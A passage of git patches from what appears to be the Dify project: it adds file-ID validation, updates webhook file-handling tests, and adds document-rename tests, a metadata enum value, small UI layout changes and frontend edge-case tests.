tool_file_id = mapping.get("tool_file_id") + + if not tool_file_id: + raise ValueError(f"ToolFile {tool_file_id} not found") tool_file = db.session.scalar( select(ToolFile).where( - ToolFile.id == mapping.get("tool_file_id"), + ToolFile.id == tool_file_id, ToolFile.tenant_id == tenant_id, ) ) if tool_file is None: - raise ValueError(f"ToolFile {mapping.get('tool_file_id')} not found") + raise ValueError(f"ToolFile {tool_file_id} not found") extension = "." + tool_file.file_key.split(".")[-1] if "." in tool_file.file_key else ".bin" @@ -402,10 +410,13 @@ def _build_from_datasource_file( transfer_method: FileTransferMethod, strict_type_validation: bool = False, ) -> File: + datasource_file_id = mapping.get("datasource_file_id") + if not datasource_file_id: + raise ValueError(f"DatasourceFile {datasource_file_id} not found") datasource_file = ( db.session.query(UploadFile) .where( - UploadFile.id == mapping.get("datasource_file_id"), + UploadFile.id == datasource_file_id, UploadFile.tenant_id == tenant_id, ) .first() diff --git a/api/tests/test_containers_integration_tests/services/test_webhook_service.py b/api/tests/test_containers_integration_tests/services/test_webhook_service.py index 8328db950c..e3431fd382 100644 --- a/api/tests/test_containers_integration_tests/services/test_webhook_service.py +++ b/api/tests/test_containers_integration_tests/services/test_webhook_service.py @@ -233,7 +233,7 @@ class TestWebhookService: "/webhook", method="POST", headers={"Content-Type": "multipart/form-data"}, - data={"message": "test", "upload": file_storage}, + data={"message": "test", "file": file_storage}, ): webhook_trigger = MagicMock() webhook_trigger.tenant_id = "test_tenant" @@ -242,7 +242,7 @@ class TestWebhookService: assert webhook_data["method"] == "POST" assert webhook_data["body"]["message"] == "test" - assert "upload" in webhook_data["files"] + assert "file" in webhook_data["files"] # Verify file processing was called mock_external_dependencies["tool_file_manager"].assert_called_once() @@ -414,7 +414,7 @@ class TestWebhookService: "data": { "method": "post", "content_type": "multipart/form-data", - "body": [{"name": "upload", "type": "file", "required": True}], + "body": [{"name": "file", "type": "file", "required": True}], } } diff --git a/api/tests/unit_tests/controllers/console/app/test_annotation_security.py b/api/tests/unit_tests/controllers/console/app/test_annotation_security.py index 11d12792c9..06a7b98baf 100644 --- a/api/tests/unit_tests/controllers/console/app/test_annotation_security.py +++ b/api/tests/unit_tests/controllers/console/app/test_annotation_security.py @@ -9,6 +9,7 @@ import io from unittest.mock import MagicMock, patch import pytest +from pandas.errors import ParserError from werkzeug.datastructures import FileStorage from configs import dify_config @@ -250,21 +251,22 @@ class TestAnnotationImportServiceValidation: """Test that invalid CSV format is handled gracefully.""" from services.annotation_service import AppAnnotationService - # Create CSV with only one column (should require at least 2 columns for question and answer) - csv_content = "single_column_header\nonly_one_value" - + # Any content is fine once we force ParserError + csv_content = 'invalid,csv,format\nwith,unbalanced,quotes,and"stuff' file = FileStorage(stream=io.BytesIO(csv_content.encode()), filename="test.csv", content_type="text/csv") mock_db_session.query.return_value.where.return_value.first.return_value = mock_app - with patch("services.annotation_service.current_account_with_tenant") as mock_auth: + with ( + patch("services.annotation_service.current_account_with_tenant") as mock_auth, + patch("services.annotation_service.pd.read_csv", side_effect=ParserError("malformed CSV")), + ): mock_auth.return_value = (MagicMock(id="user_id"), "tenant_id") result = AppAnnotationService.batch_import_app_annotations("app_id", file) - # Should return error message about invalid format (less than 2 columns) assert "error_msg" in result - assert "at least 2 columns" in result["error_msg"].lower() + assert "malformed" in result["error_msg"].lower() def test_valid_import_succeeds(self, mock_app, mock_db_session): """Test that valid import request succeeds.""" diff --git a/api/tests/unit_tests/core/workflow/nodes/webhook/test_webhook_file_conversion.py b/api/tests/unit_tests/core/workflow/nodes/webhook/test_webhook_file_conversion.py new file mode 100644 index 0000000000..ead2334473 --- /dev/null +++ b/api/tests/unit_tests/core/workflow/nodes/webhook/test_webhook_file_conversion.py @@ -0,0 +1,452 @@ +""" +Unit tests for webhook file conversion fix. + +This test verifies that webhook trigger nodes properly convert file dictionaries +to FileVariable objects, fixing the "Invalid variable type: ObjectVariable" error +when passing files to downstream LLM nodes. +""" + +from unittest.mock import Mock, patch + +from core.app.entities.app_invoke_entities import InvokeFrom +from core.workflow.entities.graph_init_params import GraphInitParams +from core.workflow.entities.workflow_node_execution import WorkflowNodeExecutionStatus +from core.workflow.nodes.trigger_webhook.entities import ( + ContentType, + Method, + WebhookBodyParameter, + WebhookData, +) +from core.workflow.nodes.trigger_webhook.node import TriggerWebhookNode +from core.workflow.runtime.graph_runtime_state import GraphRuntimeState +from core.workflow.runtime.variable_pool import VariablePool +from core.workflow.system_variable import SystemVariable +from models.enums import UserFrom +from models.workflow import WorkflowType + + +def create_webhook_node( + webhook_data: WebhookData, + variable_pool: VariablePool, + tenant_id: str = "test-tenant", +) -> TriggerWebhookNode: + """Helper function to create a webhook node with proper initialization.""" + node_config = { + "id": "webhook-node-1", + "data": webhook_data.model_dump(), + } + + graph_init_params = GraphInitParams( + tenant_id=tenant_id, + app_id="test-app", + workflow_type=WorkflowType.WORKFLOW, + workflow_id="test-workflow", + graph_config={}, + user_id="test-user", + user_from=UserFrom.ACCOUNT, + invoke_from=InvokeFrom.SERVICE_API, + call_depth=0, + ) + + runtime_state = GraphRuntimeState( + variable_pool=variable_pool, + start_at=0, + ) + + node = TriggerWebhookNode( + id="webhook-node-1", + config=node_config, + graph_init_params=graph_init_params, + graph_runtime_state=runtime_state, + ) + + # Attach a lightweight app_config onto runtime state for tenant lookups + runtime_state.app_config = Mock() + runtime_state.app_config.tenant_id = tenant_id + + # Provide compatibility alias expected by node implementation + # Some nodes reference `self.node_id`; expose it as an alias to `self.id` for tests + node.node_id = node.id + + return node + + +def create_test_file_dict( + filename: str = "test.jpg", + file_type: str = "image", + transfer_method: str = "local_file", +) -> dict: + """Create a test file dictionary as it would come from webhook service.""" + return { + "id": "file-123", + "tenant_id": "test-tenant", + "type": file_type, + "filename": filename, + "extension": ".jpg", + "mime_type": "image/jpeg", + "transfer_method": transfer_method, + "related_id": "related-123", + "storage_key": "storage-key-123", + "size": 1024, + "url": "https://example.com/test.jpg", + "created_at": 1234567890, + "used_at": None, + "hash": "file-hash-123", + } + + +def test_webhook_node_file_conversion_to_file_variable(): + """Test that webhook node converts file dictionaries to FileVariable objects.""" + # Create test file dictionary (as it comes from webhook service) + file_dict = create_test_file_dict("uploaded_image.jpg") + + data = WebhookData( + title="Test Webhook with File", + method=Method.POST, + content_type=ContentType.FORM_DATA, + body=[ + WebhookBodyParameter(name="image_upload", type="file", required=True), + WebhookBodyParameter(name="message", type="string", required=False), + ], + ) + + variable_pool = VariablePool( + system_variables=SystemVariable.empty(), + user_inputs={ + "webhook_data": { + "headers": {}, + "query_params": {}, + "body": {"message": "Test message"}, + "files": { + "image_upload": file_dict, + }, + } + }, + ) + + node = create_webhook_node(data, variable_pool) + + # Mock the file factory and variable factory + with ( + patch("factories.file_factory.build_from_mapping") as mock_file_factory, + patch("core.workflow.nodes.trigger_webhook.node.build_segment_with_type") as mock_segment_factory, + patch("core.workflow.nodes.trigger_webhook.node.FileVariable") as mock_file_variable, + ): + # Setup mocks + mock_file_obj = Mock() + mock_file_obj.to_dict.return_value = file_dict + mock_file_factory.return_value = mock_file_obj + + mock_segment = Mock() + mock_segment.value = mock_file_obj + mock_segment_factory.return_value = mock_segment + + mock_file_var_instance = Mock() + mock_file_variable.return_value = mock_file_var_instance + + # Run the node + result = node._run() + + # Verify successful execution + assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED + + # Verify file factory was called with correct parameters + mock_file_factory.assert_called_once_with( + mapping=file_dict, + tenant_id="test-tenant", + ) + + # Verify segment factory was called to create FileSegment + mock_segment_factory.assert_called_once() + + # Verify FileVariable was created with correct parameters + mock_file_variable.assert_called_once() + call_args = mock_file_variable.call_args[1] + assert call_args["name"] == "image_upload" + # value should be whatever build_segment_with_type.value returned + assert call_args["value"] == mock_segment.value + assert call_args["selector"] == ["webhook-node-1", "image_upload"] + + # Verify output contains the FileVariable, not the original dict + assert result.outputs["image_upload"] == mock_file_var_instance + assert result.outputs["message"] == "Test message" + + +def test_webhook_node_file_conversion_with_missing_files(): + """Test webhook node file conversion with missing file parameter.""" + data = WebhookData( + title="Test Webhook with Missing File", + method=Method.POST, + content_type=ContentType.FORM_DATA, + body=[ + WebhookBodyParameter(name="missing_file", type="file", required=False), + ], + ) + + variable_pool = VariablePool( + system_variables=SystemVariable.empty(), + user_inputs={ + "webhook_data": { + "headers": {}, + "query_params": {}, + "body": {}, + "files": {}, # No files + } + }, + ) + + node = create_webhook_node(data, variable_pool) + + # Run the node without patches (should handle None case gracefully) + result = node._run() + + # Verify successful execution + assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED + + # Verify missing file parameter is None + assert result.outputs["_webhook_raw"]["files"] == {} + + +def test_webhook_node_file_conversion_with_none_file(): + """Test webhook node file conversion with None file value.""" + data = WebhookData( + title="Test Webhook with None File", + method=Method.POST, + content_type=ContentType.FORM_DATA, + body=[ + WebhookBodyParameter(name="none_file", type="file", required=False), + ], + ) + + variable_pool = VariablePool( + system_variables=SystemVariable.empty(), + user_inputs={ + "webhook_data": { + "headers": {}, + "query_params": {}, + "body": {}, + "files": { + "file": None, + }, + } + }, + ) + + node = create_webhook_node(data, variable_pool) + + # Run the node without patches (should handle None case gracefully) + result = node._run() + + # Verify successful execution + assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED + + # Verify None file parameter is None + assert result.outputs["_webhook_raw"]["files"]["file"] is None + + +def test_webhook_node_file_conversion_with_non_dict_file(): + """Test webhook node file conversion with non-dict file value.""" + data = WebhookData( + title="Test Webhook with Non-Dict File", + method=Method.POST, + content_type=ContentType.FORM_DATA, + body=[ + WebhookBodyParameter(name="wrong_type", type="file", required=True), + ], + ) + + variable_pool = VariablePool( + system_variables=SystemVariable.empty(), + user_inputs={ + "webhook_data": { + "headers": {}, + "query_params": {}, + "body": {}, + "files": { + "file": "not_a_dict", # Wrapped to match node expectation + }, + } + }, + ) + + node = create_webhook_node(data, variable_pool) + + # Run the node without patches (should handle non-dict case gracefully) + result = node._run() + + # Verify successful execution + assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED + + # Verify fallback to original (wrapped) mapping + assert result.outputs["_webhook_raw"]["files"]["file"] == "not_a_dict" + + +def test_webhook_node_file_conversion_mixed_parameters(): + """Test webhook node with mixed parameter types including files.""" + file_dict = create_test_file_dict("mixed_test.jpg") + + data = WebhookData( + title="Test Webhook Mixed Parameters", + method=Method.POST, + content_type=ContentType.FORM_DATA, + headers=[], + params=[], + body=[ + WebhookBodyParameter(name="text_param", type="string", required=True), + WebhookBodyParameter(name="number_param", type="number", required=False), + WebhookBodyParameter(name="file_param", type="file", required=True), + WebhookBodyParameter(name="bool_param", type="boolean", required=False), + ], + ) + + variable_pool = VariablePool( + system_variables=SystemVariable.empty(), + user_inputs={ + "webhook_data": { + "headers": {}, + "query_params": {}, + "body": { + "text_param": "Hello World", + "number_param": 42, + "bool_param": True, + }, + "files": { + "file_param": file_dict, + }, + } + }, + ) + + node = create_webhook_node(data, variable_pool) + + with ( + patch("factories.file_factory.build_from_mapping") as mock_file_factory, + patch("core.workflow.nodes.trigger_webhook.node.build_segment_with_type") as mock_segment_factory, + patch("core.workflow.nodes.trigger_webhook.node.FileVariable") as mock_file_variable, + ): + # Setup mocks for file + mock_file_obj = Mock() + mock_file_factory.return_value = mock_file_obj + + mock_segment = Mock() + mock_segment.value = mock_file_obj + mock_segment_factory.return_value = mock_segment + + mock_file_var = Mock() + mock_file_variable.return_value = mock_file_var + + # Run the node + result = node._run() + + # Verify successful execution + assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED + + # Verify all parameters are present + assert result.outputs["text_param"] == "Hello World" + assert result.outputs["number_param"] == 42 + assert result.outputs["bool_param"] is True + assert result.outputs["file_param"] == mock_file_var + + # Verify file conversion was called + mock_file_factory.assert_called_once_with( + mapping=file_dict, + tenant_id="test-tenant", + ) + + +def test_webhook_node_different_file_types(): + """Test webhook node file conversion with different file types.""" + image_dict = create_test_file_dict("image.jpg", "image") + + data = WebhookData( + title="Test Webhook Different File Types", + method=Method.POST, + content_type=ContentType.FORM_DATA, + body=[ + WebhookBodyParameter(name="image", type="file", required=True), + WebhookBodyParameter(name="document", type="file", required=True), + WebhookBodyParameter(name="video", type="file", required=True), + ], + ) + + variable_pool = VariablePool( + system_variables=SystemVariable.empty(), + user_inputs={ + "webhook_data": { + "headers": {}, + "query_params": {}, + "body": {}, + "files": { + "image": image_dict, + "document": create_test_file_dict("document.pdf", "document"), + "video": create_test_file_dict("video.mp4", "video"), + }, + } + }, + ) + + node = create_webhook_node(data, variable_pool) + + with ( + patch("factories.file_factory.build_from_mapping") as mock_file_factory, + patch("core.workflow.nodes.trigger_webhook.node.build_segment_with_type") as mock_segment_factory, + patch("core.workflow.nodes.trigger_webhook.node.FileVariable") as mock_file_variable, + ): + # Setup mocks for all files + mock_file_objs = [Mock() for _ in range(3)] + mock_segments = [Mock() for _ in range(3)] + mock_file_vars = [Mock() for _ in range(3)] + + # Map each segment.value to its corresponding mock file obj + for seg, f in zip(mock_segments, mock_file_objs): + seg.value = f + + mock_file_factory.side_effect = mock_file_objs + mock_segment_factory.side_effect = mock_segments + mock_file_variable.side_effect = mock_file_vars + + # Run the node + result = node._run() + + # Verify successful execution + assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED + + # Verify all file types were converted + assert mock_file_factory.call_count == 3 + assert result.outputs["image"] == mock_file_vars[0] + assert result.outputs["document"] == mock_file_vars[1] + assert result.outputs["video"] == mock_file_vars[2] + + +def test_webhook_node_file_conversion_with_non_dict_wrapper(): + """Test webhook node file conversion when the file wrapper is not a dict.""" + data = WebhookData( + title="Test Webhook with Non-dict File Wrapper", + method=Method.POST, + content_type=ContentType.FORM_DATA, + body=[ + WebhookBodyParameter(name="non_dict_wrapper", type="file", required=True), + ], + ) + + variable_pool = VariablePool( + system_variables=SystemVariable.empty(), + user_inputs={ + "webhook_data": { + "headers": {}, + "query_params": {}, + "body": {}, + "files": { + "file": "just a string", + }, + } + }, + ) + + node = create_webhook_node(data, variable_pool) + result = node._run() + + # Verify successful execution (should not crash) + assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED + # Verify fallback to original value + assert result.outputs["_webhook_raw"]["files"]["file"] == "just a string" diff --git a/api/tests/unit_tests/core/workflow/nodes/webhook/test_webhook_node.py b/api/tests/unit_tests/core/workflow/nodes/webhook/test_webhook_node.py index a599d4f831..bbb5511923 100644 --- a/api/tests/unit_tests/core/workflow/nodes/webhook/test_webhook_node.py +++ b/api/tests/unit_tests/core/workflow/nodes/webhook/test_webhook_node.py @@ -1,8 +1,10 @@ +from unittest.mock import patch + import pytest from core.app.entities.app_invoke_entities import InvokeFrom from core.file import File, FileTransferMethod, FileType -from core.variables import StringVariable +from core.variables import FileVariable, StringVariable from core.workflow.entities.graph_init_params import GraphInitParams from core.workflow.entities.workflow_node_execution import WorkflowNodeExecutionStatus from core.workflow.nodes.trigger_webhook.entities import ( @@ -27,26 +29,34 @@ def create_webhook_node(webhook_data: WebhookData, variable_pool: VariablePool) "data": webhook_data.model_dump(), } + graph_init_params = GraphInitParams( + tenant_id="1", + app_id="1", + workflow_type=WorkflowType.WORKFLOW, + workflow_id="1", + graph_config={}, + user_id="1", + user_from=UserFrom.ACCOUNT, + invoke_from=InvokeFrom.SERVICE_API, + call_depth=0, + ) + runtime_state = GraphRuntimeState( + variable_pool=variable_pool, + start_at=0, + ) node = TriggerWebhookNode( id="1", config=node_config, - graph_init_params=GraphInitParams( - tenant_id="1", - app_id="1", - workflow_type=WorkflowType.WORKFLOW, - workflow_id="1", - graph_config={}, - user_id="1", - user_from=UserFrom.ACCOUNT, - invoke_from=InvokeFrom.SERVICE_API, - call_depth=0, - ), - graph_runtime_state=GraphRuntimeState( - variable_pool=variable_pool, - start_at=0, - ), + graph_init_params=graph_init_params, + graph_runtime_state=runtime_state, ) + # Provide tenant_id for conversion path + runtime_state.app_config = type("_AppCfg", (), {"tenant_id": "1"})() + + # Compatibility alias for some nodes referencing `self.node_id` + node.node_id = node.id + return node @@ -246,20 +256,27 @@ def test_webhook_node_run_with_file_params(): "query_params": {}, "body": {}, "files": { - "upload": file1, - "document": file2, + "upload": file1.to_dict(), + "document": file2.to_dict(), }, } }, ) node = create_webhook_node(data, variable_pool) - result = node._run() + # Mock the file factory to avoid DB-dependent validation on upload_file_id + with patch("factories.file_factory.build_from_mapping") as mock_file_factory: + + def _to_file(mapping, tenant_id, config=None, strict_type_validation=False): + return File.model_validate(mapping) + + mock_file_factory.side_effect = _to_file + result = node._run() assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED - assert result.outputs["upload"] == file1 - assert result.outputs["document"] == file2 - assert result.outputs["missing_file"] is None + assert isinstance(result.outputs["upload"], FileVariable) + assert isinstance(result.outputs["document"], FileVariable) + assert result.outputs["upload"].value.filename == "image.jpg" def test_webhook_node_run_mixed_parameters(): @@ -291,19 +308,27 @@ def test_webhook_node_run_mixed_parameters(): "headers": {"Authorization": "Bearer token"}, "query_params": {"version": "v1"}, "body": {"message": "Test message"}, - "files": {"upload": file_obj}, + "files": {"upload": file_obj.to_dict()}, } }, ) node = create_webhook_node(data, variable_pool) - result = node._run() + # Mock the file factory to avoid DB-dependent validation on upload_file_id + with patch("factories.file_factory.build_from_mapping") as mock_file_factory: + + def _to_file(mapping, tenant_id, config=None, strict_type_validation=False): + return File.model_validate(mapping) + + mock_file_factory.side_effect = _to_file + result = node._run() assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED assert result.outputs["Authorization"] == "Bearer token" assert result.outputs["version"] == "v1" assert result.outputs["message"] == "Test message" - assert result.outputs["upload"] == file_obj + assert isinstance(result.outputs["upload"], FileVariable) + assert result.outputs["upload"].value.filename == "test.jpg" assert "_webhook_raw" in result.outputs diff --git a/api/tests/unit_tests/services/test_webhook_service.py b/api/tests/unit_tests/services/test_webhook_service.py index 6afe52d97b..920b1e91b6 100644 --- a/api/tests/unit_tests/services/test_webhook_service.py +++ b/api/tests/unit_tests/services/test_webhook_service.py @@ -82,19 +82,19 @@ class TestWebhookServiceUnit: "/webhook", method="POST", headers={"Content-Type": "multipart/form-data"}, - data={"message": "test", "upload": file_storage}, + data={"message": "test", "file": file_storage}, ): webhook_trigger = MagicMock() webhook_trigger.tenant_id = "test_tenant" with patch.object(WebhookService, "_process_file_uploads") as mock_process_files: - mock_process_files.return_value = {"upload": "mocked_file_obj"} + mock_process_files.return_value = {"file": "mocked_file_obj"} webhook_data = WebhookService.extract_webhook_data(webhook_trigger) assert webhook_data["method"] == "POST" assert webhook_data["body"]["message"] == "test" - assert webhook_data["files"]["upload"] == "mocked_file_obj" + assert webhook_data["files"]["file"] == "mocked_file_obj" mock_process_files.assert_called_once() def test_extract_webhook_data_raw_text(self): From 187450b875b10c5b67ab85ee59f5629a1c1049e3 Mon Sep 17 00:00:00 2001 From: wangxiaolei Date: Mon, 15 Dec 2025 21:09:53 +0800 Subject: [PATCH 06/38] chore: skip upload_file_id is missing (#29666) --- api/services/dataset_service.py | 2 +- .../core/workflow/test_workflow_entry.py | 32 ++++ .../test_document_service_rename_document.py | 176 ++++++++++++++++++ 3 files changed, 209 insertions(+), 1 deletion(-) create mode 100644 api/tests/unit_tests/services/test_document_service_rename_document.py diff --git a/api/services/dataset_service.py b/api/services/dataset_service.py index 0df883ea98..970192fde5 100644 --- a/api/services/dataset_service.py +++ b/api/services/dataset_service.py @@ -1419,7 +1419,7 @@ class DocumentService: document.name = name db.session.add(document) - if document.data_source_info_dict: + if document.data_source_info_dict and "upload_file_id" in document.data_source_info_dict: db.session.query(UploadFile).where( UploadFile.id == document.data_source_info_dict["upload_file_id"] ).update({UploadFile.name: name}) diff --git a/api/tests/unit_tests/core/workflow/test_workflow_entry.py b/api/tests/unit_tests/core/workflow/test_workflow_entry.py index 75de5c455f..68d6c109e8 100644 --- a/api/tests/unit_tests/core/workflow/test_workflow_entry.py +++ b/api/tests/unit_tests/core/workflow/test_workflow_entry.py @@ -1,3 +1,5 @@ +from types import SimpleNamespace + import pytest from core.file.enums import FileType @@ -12,6 +14,36 @@ from core.workflow.system_variable import SystemVariable from core.workflow.workflow_entry import WorkflowEntry +@pytest.fixture(autouse=True) +def _mock_ssrf_head(monkeypatch): + """Avoid any real network requests during tests. + + file_factory._get_remote_file_info() uses ssrf_proxy.head to inspect + remote files. We stub it to return a minimal response object with + headers so filename/mime/size can be derived deterministically. + """ + + def fake_head(url, *args, **kwargs): + # choose a content-type by file suffix for determinism + if url.endswith(".pdf"): + ctype = "application/pdf" + elif url.endswith(".jpg") or url.endswith(".jpeg"): + ctype = "image/jpeg" + elif url.endswith(".png"): + ctype = "image/png" + else: + ctype = "application/octet-stream" + filename = url.split("/")[-1] or "file.bin" + headers = { + "Content-Type": ctype, + "Content-Disposition": f'attachment; filename="{filename}"', + "Content-Length": "12345", + } + return SimpleNamespace(status_code=200, headers=headers) + + monkeypatch.setattr("core.helper.ssrf_proxy.head", fake_head) + + class TestWorkflowEntry: """Test WorkflowEntry class methods.""" diff --git a/api/tests/unit_tests/services/test_document_service_rename_document.py b/api/tests/unit_tests/services/test_document_service_rename_document.py new file mode 100644 index 0000000000..94850ecb09 --- /dev/null +++ b/api/tests/unit_tests/services/test_document_service_rename_document.py @@ -0,0 +1,176 @@ +from types import SimpleNamespace +from unittest.mock import Mock, create_autospec, patch + +import pytest + +from models import Account +from services.dataset_service import DocumentService + + +@pytest.fixture +def mock_env(): + """Patch dependencies used by DocumentService.rename_document. + + Mocks: + - DatasetService.get_dataset + - DocumentService.get_document + - current_user (with current_tenant_id) + - db.session + """ + with ( + patch("services.dataset_service.DatasetService.get_dataset") as get_dataset, + patch("services.dataset_service.DocumentService.get_document") as get_document, + patch("services.dataset_service.current_user", create_autospec(Account, instance=True)) as current_user, + patch("extensions.ext_database.db.session") as db_session, + ): + current_user.current_tenant_id = "tenant-123" + yield { + "get_dataset": get_dataset, + "get_document": get_document, + "current_user": current_user, + "db_session": db_session, + } + + +def make_dataset(dataset_id="dataset-123", tenant_id="tenant-123", built_in_field_enabled=False): + return SimpleNamespace(id=dataset_id, tenant_id=tenant_id, built_in_field_enabled=built_in_field_enabled) + + +def make_document( + document_id="document-123", + dataset_id="dataset-123", + tenant_id="tenant-123", + name="Old Name", + data_source_info=None, + doc_metadata=None, +): + doc = Mock() + doc.id = document_id + doc.dataset_id = dataset_id + doc.tenant_id = tenant_id + doc.name = name + doc.data_source_info = data_source_info or {} + # property-like usage in code relies on a dict + doc.data_source_info_dict = dict(doc.data_source_info) + doc.doc_metadata = dict(doc_metadata or {}) + return doc + + +def test_rename_document_success(mock_env): + dataset_id = "dataset-123" + document_id = "document-123" + new_name = "New Document Name" + + dataset = make_dataset(dataset_id) + document = make_document(document_id=document_id, dataset_id=dataset_id) + + mock_env["get_dataset"].return_value = dataset + mock_env["get_document"].return_value = document + + result = DocumentService.rename_document(dataset_id, document_id, new_name) + + assert result is document + assert document.name == new_name + mock_env["db_session"].add.assert_called_once_with(document) + mock_env["db_session"].commit.assert_called_once() + + +def test_rename_document_with_built_in_fields(mock_env): + dataset_id = "dataset-123" + document_id = "document-123" + new_name = "Renamed" + + dataset = make_dataset(dataset_id, built_in_field_enabled=True) + document = make_document(document_id=document_id, dataset_id=dataset_id, doc_metadata={"foo": "bar"}) + + mock_env["get_dataset"].return_value = dataset + mock_env["get_document"].return_value = document + + DocumentService.rename_document(dataset_id, document_id, new_name) + + assert document.name == new_name + # BuiltInField.document_name == "document_name" in service code + assert document.doc_metadata["document_name"] == new_name + assert document.doc_metadata["foo"] == "bar" + + +def test_rename_document_updates_upload_file_when_present(mock_env): + dataset_id = "dataset-123" + document_id = "document-123" + new_name = "Renamed" + file_id = "file-123" + + dataset = make_dataset(dataset_id) + document = make_document( + document_id=document_id, + dataset_id=dataset_id, + data_source_info={"upload_file_id": file_id}, + ) + + mock_env["get_dataset"].return_value = dataset + mock_env["get_document"].return_value = document + + # Intercept UploadFile rename UPDATE chain + mock_query = Mock() + mock_query.where.return_value = mock_query + mock_env["db_session"].query.return_value = mock_query + + DocumentService.rename_document(dataset_id, document_id, new_name) + + assert document.name == new_name + mock_env["db_session"].query.assert_called() # update executed + + +def test_rename_document_does_not_update_upload_file_when_missing_id(mock_env): + """ + When data_source_info_dict exists but does not contain "upload_file_id", + UploadFile should not be updated. + """ + dataset_id = "dataset-123" + document_id = "document-123" + new_name = "Another Name" + + dataset = make_dataset(dataset_id) + # Ensure data_source_info_dict is truthy but lacks the key + document = make_document( + document_id=document_id, + dataset_id=dataset_id, + data_source_info={"url": "https://example.com"}, + ) + + mock_env["get_dataset"].return_value = dataset + mock_env["get_document"].return_value = document + + DocumentService.rename_document(dataset_id, document_id, new_name) + + assert document.name == new_name + # Should NOT attempt to update UploadFile + mock_env["db_session"].query.assert_not_called() + + +def test_rename_document_dataset_not_found(mock_env): + mock_env["get_dataset"].return_value = None + + with pytest.raises(ValueError, match="Dataset not found"): + DocumentService.rename_document("missing", "doc", "x") + + +def test_rename_document_not_found(mock_env): + dataset = make_dataset("dataset-123") + mock_env["get_dataset"].return_value = dataset + mock_env["get_document"].return_value = None + + with pytest.raises(ValueError, match="Document not found"): + DocumentService.rename_document(dataset.id, "missing", "x") + + +def test_rename_document_permission_denied_when_tenant_mismatch(mock_env): + dataset = make_dataset("dataset-123") + # different tenant than current_user.current_tenant_id + document = make_document(dataset_id=dataset.id, tenant_id="tenant-other") + + mock_env["get_dataset"].return_value = dataset + mock_env["get_document"].return_value = document + + with pytest.raises(ValueError, match="No permission"): + DocumentService.rename_document(dataset.id, document.id, "x") From 4bf6c4dafaf49027df113eaeba15ef1d6a0cb90c Mon Sep 17 00:00:00 2001 From: quicksand Date: Mon, 15 Dec 2025 21:13:23 +0800 Subject: [PATCH 07/38] chore: add online drive metadata source enum (#29674) --- api/core/rag/index_processor/constant/built_in_field.py | 1 + 1 file changed, 1 insertion(+) diff --git a/api/core/rag/index_processor/constant/built_in_field.py b/api/core/rag/index_processor/constant/built_in_field.py index 9ad69e7fe3..7c270a32d0 100644 --- a/api/core/rag/index_processor/constant/built_in_field.py +++ b/api/core/rag/index_processor/constant/built_in_field.py @@ -15,3 +15,4 @@ class MetadataDataSource(StrEnum): notion_import = "notion" local_file = "file_upload" online_document = "online_document" + online_drive = "online_drive" From dd58d4a38de83a9543449b338fb5e5b986396589 Mon Sep 17 00:00:00 2001 From: hangboss1761 <1240123692@qq.com> Date: Mon, 15 Dec 2025 21:15:55 +0800 Subject: [PATCH 08/38] fix: update chat wrapper components to use min-h instead of h for better responsiveness (#29687) --- web/app/components/base/chat/chat-with-history/chat-wrapper.tsx | 2 +- web/app/components/base/chat/embedded-chatbot/chat-wrapper.tsx | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/web/app/components/base/chat/chat-with-history/chat-wrapper.tsx b/web/app/components/base/chat/chat-with-history/chat-wrapper.tsx index 94c80687ed..ab133d67af 100644 --- a/web/app/components/base/chat/chat-with-history/chat-wrapper.tsx +++ b/web/app/components/base/chat/chat-with-history/chat-wrapper.tsx @@ -218,7 +218,7 @@ const ChatWrapper = () => { ) } return ( -
+
{ ) } return ( -
+
Date: Mon, 15 Dec 2025 21:17:44 +0800 Subject: [PATCH 09/38] test: enhance DebugWithMultipleModel component test coverage (#29657) --- .../debug-with-multiple-model/index.spec.tsx | 249 ++++++++++++++++++ 1 file changed, 249 insertions(+) diff --git a/web/app/components/app/configuration/debug/debug-with-multiple-model/index.spec.tsx b/web/app/components/app/configuration/debug/debug-with-multiple-model/index.spec.tsx index 7607a21b07..86e756d95c 100644 --- a/web/app/components/app/configuration/debug/debug-with-multiple-model/index.spec.tsx +++ b/web/app/components/app/configuration/debug/debug-with-multiple-model/index.spec.tsx @@ -206,6 +206,218 @@ describe('DebugWithMultipleModel', () => { mockUseDebugConfigurationContext.mockReturnValue(createDebugConfiguration()) }) + describe('edge cases and error handling', () => { + it('should handle empty multipleModelConfigs array', () => { + renderComponent({ multipleModelConfigs: [] }) + expect(screen.queryByTestId('debug-item')).not.toBeInTheDocument() + expect(screen.getByTestId('chat-input-area')).toBeInTheDocument() + }) + + it('should handle model config with missing required fields', () => { + const incompleteConfig = { id: 'incomplete' } as ModelAndParameter + renderComponent({ multipleModelConfigs: [incompleteConfig] }) + expect(screen.getByTestId('debug-item')).toBeInTheDocument() + }) + + it('should handle more than 4 model configs', () => { + const manyConfigs = Array.from({ length: 6 }, () => createModelAndParameter()) + renderComponent({ multipleModelConfigs: manyConfigs }) + + const items = screen.getAllByTestId('debug-item') + expect(items).toHaveLength(6) + + // Items beyond 4 should not have specialized positioning + items.slice(4).forEach((item) => { + expect(item.style.transform).toBe('translateX(0) translateY(0)') + }) + }) + + it('should handle modelConfig with undefined prompt_variables', () => { + // Note: The current component doesn't handle undefined/null prompt_variables gracefully + // This test documents the current behavior + const modelConfig = createModelConfig() + modelConfig.configs.prompt_variables = undefined as any + + mockUseDebugConfigurationContext.mockReturnValue(createDebugConfiguration({ + modelConfig, + })) + + expect(() => renderComponent()).toThrow('Cannot read properties of undefined (reading \'filter\')') + }) + + it('should handle modelConfig with null prompt_variables', () => { + // Note: The current component doesn't handle undefined/null prompt_variables gracefully + // This test documents the current behavior + const modelConfig = createModelConfig() + modelConfig.configs.prompt_variables = null as any + + mockUseDebugConfigurationContext.mockReturnValue(createDebugConfiguration({ + modelConfig, + })) + + expect(() => renderComponent()).toThrow('Cannot read properties of null (reading \'filter\')') + }) + + it('should handle prompt_variables with missing required fields', () => { + const incompleteVariables: PromptVariableWithMeta[] = [ + { key: '', name: 'Empty Key', type: 'string' }, // Empty key + { key: 'valid-key', name: undefined as any, type: 'number' }, // Undefined name + { key: 'no-type', name: 'No Type', type: undefined as any }, 